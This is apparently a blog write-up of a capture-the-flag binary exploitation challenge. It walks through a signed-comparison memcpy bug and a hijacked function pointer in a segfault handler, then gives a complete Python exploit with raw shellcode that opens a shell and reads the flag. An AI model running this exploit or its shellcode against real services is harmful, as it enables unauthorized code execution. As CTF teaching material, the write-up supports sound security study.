We were given a 32-bit Linux ELF executable, with NX disabled. Analysing the binary, we can see the following information
[*] The binary reads user input as read(fd, 0x806ec40, 0x800 )
[*] parse_packet() function checks for particular format of input
[*] If checks are passed, memcpy() is called
Format of Input:
In the segfault_sigaction(), we can control the call to function pointer.
[*] The binary reads user input as read(fd, 0x806ec40, 0x800 )
[*] parse_packet() function checks for particular format of input
[*] If checks are passed, memcpy() is called
Format of Input:
STRING(ProtoSecure1.0 )(15 bytes) + BYTE to reach memcpy() + SHA256_HASH(32 bytes) + STRING used for computing hash(128 bytes) + DATATo reach memcpy() fuction, we have to supply a suitable byte.
.text:080491E7 cmp [ebp+var_1A], 7Fh .text:080491EC jg short loc_8049212 .text:080491EE movsx ecx, [ebp+var_1A] .text:080491F2 mov eax, [ebp+var_20] .text:080491F5 add eax, 30h .text:080491F8 mov edx, eax .text:080491FA lea eax, [ebp+dest] .text:08049200 mov [esp+8], ecx ; n .text:08049204 mov [esp+4], edx ; src .text:08049208 mov [esp], eax ; dest .text:0804920B call _memcpyJg does a signed comparison, 0x80 sets the sign flag and jg is not taken. This leads us to memcpy(). movsx ecx, [ebp+var_1A] causes memcpy to have very large size parameter, tiggering SIGSEGV in libc. Now the signal handler is called.
In the segfault_sigaction(), we can control the call to function pointer.
.text:08049096 mov eax, [ebp+var_1C] .text:08049099 call eaxOur idea of exploit is to overwrite the function pointer with the address of our payload. The remote application provides us with the information of certain registers.
Current context: EAX: 0xffffcf0c ESI: 0xffffd2e8 EDI: 0x805815c ECX: 0xffffcf0c ESP: 0xffffc620 EBP: 0xffffce78Debugging the binary locally, I noticed that EDX points to the user supplied data. Since the offset to address pointed to by EDX from EBP is constant, we the compute the value in EDX using the value in EBP.
EBP - 1592 hex(0xffffce78 - 1592) '0xffffc840' == EDXNow we have the address of user supplied data in remote machine. Here is the final exploit
#!/usr/bin/env python import socket from hashlib import sha256 import struct import time #ip = "127.0.0.1" ip = "dimvactf.0x90.eu" #port = 6666 port = 1116 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) print soc.recv(1024) dup2 = ( "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04" + "\xcd\x80\x75\xf6" ) # 18 bytes shell = ( "\xdb\xc1\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\xb8\x79\x0f" + # 70 bytes "\x74\x5a\x83\xc3\x04\x31\x43\x16\x03\x43\x16\xe2\x8c\x65" + "\x7f\x02\xf7\x28\x19\xda\x2a\xae\x6c\xfd\x5c\x1f\x1c\x6a" + "\x9c\x37\xcd\x08\xf5\xa9\x98\x2e\x57\xde\x93\xb0\x57\x1e" + "\x8b\xd2\x3e\x70\xfc\x61\xa8\x8c\x55\xd5\xa1\x6c\x94\x59" ) format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes hash = sha256("A"*128).digest() string_for_hash = "A"*128 payload = (struct.pack("B",0x90) * 1300 + dup2 + shell + struct.pack("<I", 0xffffc840+200)) code = (format + hash + string_for_hash + payload) soc.send(code + "\n") time.sleep(1) print soc.recv(1024) soc.send("cat flag\n") time.sleep(1) print soc.recv(1024)Flag for the challenge is c0ffee3ccdd510d0a8faccc8830f61bd
No comments:
Post a Comment